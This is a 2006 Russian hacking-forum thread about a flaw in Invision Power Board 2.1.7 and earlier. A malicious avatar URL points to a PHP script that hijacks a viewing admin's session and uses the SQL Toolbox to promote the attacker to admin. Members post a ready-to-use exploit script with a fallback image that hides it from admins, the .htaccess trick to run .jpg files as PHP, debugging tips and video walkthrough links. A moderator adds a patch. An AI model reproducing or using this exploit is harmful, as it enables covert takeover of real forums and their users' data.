Форумы sql-inj в ipb <=2.1.7

Discussion in 'Уязвимости CMS/форумов' started by Digimortal, 9 Oct 2006.

Thread Status:
Not open for further replies.
  1. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    Итак, в среду на багтраке появилось сообщение об уязвимости IPB <=2.1.7.
    Уязвимым оказался скрипт кп админки. Если поставить вместо ссылки на аватару ссылку на пхп-сплоит, то при просмотре админом (это должен быть рут-админ) акка пользователя через контрпанельку имеется возможность выполнить скуль-комманды через IPB's SQL Toolbox.

    Вот сам текст с багтрака:

    Уязвимы версии:
    Invision Power Board 2.0.x
    Invision Power Board 2.1.0 - 2.1.7
    Invision Power Board 2.2 Beta 1

    Неуязвимы:
    Invision Power Board 2.1.7 (ID: 21013.61005.s)
    Invision Power Board 2.2 Beta 2

    Делитесь тут мыслями по поводу этой баги. Сам я еще не испытывал..
     
    1 person likes this.
  2. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    773
    Likes Received:
    842
    Reputations:
    1,369
    Бугага ;) в Sql Toolboxе запрос передается ПОСТом..несколькими днями ранее я говорил с амером с милворма он мне про это рассказывал ;)
     
    1 person likes this.
  3. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    Я немогу понять тут $mid = 145; надо прописать id Рута или id свой ???
     
  4. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    997
    Likes Received:
    905
    Reputations:
    587
    Судя по "SET mgroup=4" (SET+mgroup%3D4) - свой. (Не помню, вроде 4 это и есть права админа, которые устанавливаются для мембера с mid=$mid).

    З.Ы.
    Вообще там есть коммент:
    //The member id to promote to root admin

    (ну это для тех, чей мозговой парсер комменты не пропускает)
     
    #4 Qwazar, 9 Oct 2006
    Last edited: 9 Oct 2006
  5. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,074
    Likes Received:
    1,526
    Reputations:
    1,126
    единственное решение можно предложить - поменять группу админов с 4 на какую-нить другую. Вряд ли злоумышленник (кидис который даже не въехал как работает сплоит, имхо 80% таких) нифига ничего не получит -)
     
  6. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,074
    Likes Received:
    1,526
    Reputations:
    1,126
    Заплатка для ipb IPB 2.1.x

    Ручное исправление уязвимостей от 05.10.06

    Файл ./sources/action_admin/member.php, найти код:
    Код
    Code:
                //-----------------------------------------
                // Avatar?
                //-----------------------------------------
    
                if ( $r['avatar_location'] and $r['avatar_type'] )
                {
                    $avatar = $this->ipsclass->get_avatar( $r['avatar_location'], 1, '25x25', $r['avatar_type'] );
    
                    if ( ! strstr( $avatar, 'width=' ) )
                    {
                        $avatar = str_replace( '<img', "<img width='25' height='25'", $avatar );
                    }
                }
                else
                {
                    $avatar = "<img src='{$this->ipsclass->skin_url}/images/memsearch_head.gif' border='0' />";
                }
    
    заменить на:
    Код
    Code:
                //-----------------------------------------
                // Avatar?
                //-----------------------------------------
    
                //-----------------------------------------
                // SECURITY UPDATE: Removing  user avatar
                //-----------------------------------------
    
                $avatar = "<img src='{$this->ipsclass->skin_url}/images/memsearch_head.gif' border='0' />";
    
    источник:
    http://www.ibresource.ru/forums/index.php?showtopic=36607
     
    #6 Rebz, 9 Oct 2006
    Last edited: 9 Oct 2006
  7. BMaster

    BMaster Elder - Старейшина

    Joined:
    12 Jan 2006
    Messages:
    28
    Likes Received:
    34
    Reputations:
    7
    Подскажите что не так пожалуйста:
    скрипт выполняется как картинка, т.е http://localhost/g.jpg кажет phpinfo(); ;)

    На форуме редактирую профиль, указываю в поле "Введите ссылку на файл вашего аватара" ссылку, потом захожу под руут админом, смотрю профиль юзера тестера, перехода не происходит, и запросы не выполняются, show table; аналогично нигде не выполняется, что не так?
    p.s просматривая профиль тестер юзера в админпанеле, тоже редиректа не происходит, даже если правой кнопкой щелкнуть на открыть изображение, запросы не выполняются.
     
    #7 BMaster, 9 Oct 2006
    Last edited: 9 Oct 2006
    1 person likes this.
  8. arts

    arts Elder - Старейшина

    Joined:
    20 Jul 2005
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    А как картинку с пчп кодом сделать?
     
  9. BMaster

    BMaster Elder - Старейшина

    Joined:
    12 Jan 2006
    Messages:
    28
    Likes Received:
    34
    Reputations:
    7
    Переименовать пхп файл, в *.jpg gif..
    в .htaccess добавить
    <Files "u.jpg">
    AddType application/x-httpd-php .jpg
    </Files>
    либо на край в httpd.conf добавить к application/x-httpd-php тип .jpg :)
     
  10. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    997
    Likes Received:
    905
    Reputations:
    587
    Сам не пробовал, но если то что написано тут:

    является правдой, то, если я не ошибаюсь, нужно использовать curl, пример:

    PHP:
    <?php 
    $ch 
    curl_init();  
    curl_setopt($chCURLOPT_URL,$url);  
    curl_setopt($chCURLOPT_POST1);  
    curl_setopt($chCURLOPT_POSTFIELDS$fields);  
    curl_exec ($ch);  
    curl_close ($ch);  
    ?>
     
    2 people like this.
  11. BMaster

    BMaster Elder - Старейшина

    Joined:
    12 Jan 2006
    Messages:
    28
    Likes Received:
    34
    Reputations:
    7
    Разобрался я с этим експлойтом, прет кук из админпанели и добавляет к нему запрос сэквел, мне понравилось :)
    У кого что то не получается расскажу что нужно сделать чтобы получилось :)
    Как сделать чтобы скрыть под avatar.jpg пхп скрипт думаю ясно, но скопировав предоставленный эксплойт и даже подставив нужные значения, ничего не выйдет, там есть небольшая хитрость (может просто случайность) в строке:
    Code:
      header("Location[COLOR=DarkOrange]:  "[/COLOR].$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where+id%3D{$mid}+LIMIT+1");
    Нужно удалить лишний знак табуляции и выровнять строку так:
    l
    Code:
    header("Location[COLOR=DarkOrange]: "[/COLOR].$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where+id%3D{$mid}+LIMIT+1");
    :)
    Заодно предоставлю следующий вариант, чтобы у админов не вызывал подозрения не отображающийся аватар, допишем строчку в сплойт (сплойт готовый к употреблению):
    Code:
    <?php  
    $mid = [COLOR=DarkOrange]2[/color];   
    if (preg_match('/(.*adsess=[\\w]{32})/',  $_SERVER['HTTP_REFERER'], $admin_loc) and $mid)  
    {  header("Location: ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+[COLOR=DarkOrange]ibf_[/COLOR]members+SET+posts%3D12897+WHERE+id%3D[COLOR=DarkOrange]2[/COLOR]");  }
    else { header("Location: http://forum.xxx/forum/uploads/av-xx.jpg"); } 
    ?>
    Тестировочный сплойт, который станавливает юзеру с id=2 количество постов 12897, чтобы получить права админа вставляем запрос из официального сплойта :)
    Сработает только тогда, когда админ посмотрит профиль юзера из Админпанели :)
    p.s Если админ посмотри профиль в браузере konqueror вас ждет разочарование :)
     
    #11 BMaster, 10 Oct 2006
    Last edited: 10 Oct 2006
    4 people like this.
  12. Nekt

    Nekt Elder - Старейшина

    Joined:
    31 Aug 2006
    Messages:
    58
    Likes Received:
    11
    Reputations:
    0
    Все происходит на локалке. ;)
    Ну я закачал обычную аватару, изменил на пхп код, смотрю админом картику... Ноль не чего, и я тута решил дожлно отображатьса инфа о пхп, и тута я поменял код... Снова ноль ! Что я тока не пробывал. Помогите, а? :mad:
     
    #12 Nekt, 14 Oct 2006
    Last edited: 14 Oct 2006
  13. BMaster

    BMaster Elder - Старейшина

    Joined:
    12 Jan 2006
    Messages:
    28
    Likes Received:
    34
    Reputations:
    7
    Вообщем сделал видео с небольши но:
    Так как не одного дельного совета не было:

    http://forum.antichat.ru/threadnav17208-2-10.html

    Видео на 40 мег в раре, само занимает 70 мег, идет 19 минут.
    Это полная версия, и соостветственно кто хочет качает, кто не хочет не качает :)

    Немногим позже подготовлю порезанную версию, т.е просто вырежу кадры где например у меня довольно долго рестартится сервер, из за требовательных ресурсов
    xvidcap, то как набираю там текст к комментариям...
    Просто останутся основные кадры, смысл не потеряется :)

    http://rapidshare.de/files/37256566/sql_inj_ipb_2.1.7_and_early_from_BMaster_Full_version.rar

    в ссылке убрать пробел в слове version хз откуда он там :)
    AVI, 1022 x 766, 7.00 fps, video: Microsoft MPEG-4 v2

    p.s Видео демонстрирует уязвимость форума, который находится на localhost, и соответственно хост тоже локальный.
    p.p.s имхо camstudio вроде тоже не может захватывать без кодирования, он тоже использует компрессор по дефолту microsoft video 1.
    т.о если это так, то факи написаны немного не точно :)
     
    #13 BMaster, 19 Oct 2006
    Last edited: 19 Oct 2006
    2 people like this.
  14. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    Вот переснял видео для деалапщиков :
    _http://kolokol.ho.com.ua/video/ibp.2.1.7.rar
     
  15. BMaster

    BMaster Elder - Старейшина

    Joined:
    12 Jan 2006
    Messages:
    28
    Likes Received:
    34
    Reputations:
    7
    Вообщем качество/размер лучше этого не могу подобрать, обрезать ничего не стал, просто пожал немного.

    http://rapidshare.com/files/343881/sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar

    8мег.
    Хостингов для помощи использования этой уязвимости много, fatal.ru тому пример, недавно тестил, все работает.
    .htaccess если нет, то создаем.
     
    4 people like this.
  16. Konstant!n

    Konstant!n New Member

    Joined:
    20 Oct 2006
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Если можно выложите файл .htacces как он должен выглядеть!
    заранее спасибо.
     
  17. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696

    в .htaccess добавить
    <Files "u.jpg">
    AddType application/x-httpd-php .jpg
    </Files>
     
  18. BMaster

    BMaster Elder - Старейшина

    Joined:
    12 Jan 2006
    Messages:
    28
    Likes Received:
    34
    Reputations:
    7
    Вы о чем?
    Н чужом хосте отредактировать файл .htaccess можно запросто, если ты зарегистрировал свой сайт на предоставляющем тебе хостинг сайте :)
    А если не зарегистрировал то конечно никак не отредактируешь :)

    Если кто так и не понял... НЕ На форуме, который вы хотите протестировать/хакнуть, НЕ на сервере на котором находится этот форум НИЧЕГО создавать, редактировать кроме как профиля своего юзера НЕ нужно.

    Ищите в нете хостинг платный/бесплатный/поднимаете свой/... который поддерживает php и где есть поддержка .htaccess файлов...
    Пример для незнающих fatal.ru и все, больше ничего не нужно.
     
  19. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    Некотрые регят себе сайт на хостинге бесплатном при этом незная что за такой файлик : .htaccess
     
  20. Ksander

    Ksander Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    527
    Likes Received:
    262
    Reputations:
    138

    .htaccess – это файл, который дает возможность конфигурировать работу сервера в отдельных директориях (папках), не предоставляя доступа к главному конфигурационному файлу. Например, устанавливать права доступа к файлам в директории, менять названия индексных файлов, самостоятельно обрабатывать ошибки Apache, перенаправляя посетителей на специальные страницы ошибок.
     
Thread Status:
Not open for further replies.